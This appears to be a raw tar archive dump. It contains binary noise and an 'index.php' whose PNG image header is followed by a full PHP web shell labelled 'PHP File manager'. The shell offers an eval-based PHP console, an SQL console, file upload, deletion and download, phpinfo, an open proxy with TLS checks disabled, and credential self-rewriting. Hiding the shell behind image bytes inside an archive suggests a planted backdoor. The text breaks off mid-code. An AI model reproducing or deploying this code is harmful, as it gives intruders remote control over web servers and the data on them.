3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @                                                                                                                                                                                                                                                                                                                                                                                                                                                       widget-loader.php.php.tar.gz                                                                        0000644                 00000001122 15243251040 0011766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
                                                                                                                                                                                                                                                                                                                                                                                                                                                index.php                                                                                           0000644                 00000234415 15243251040 0006371 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
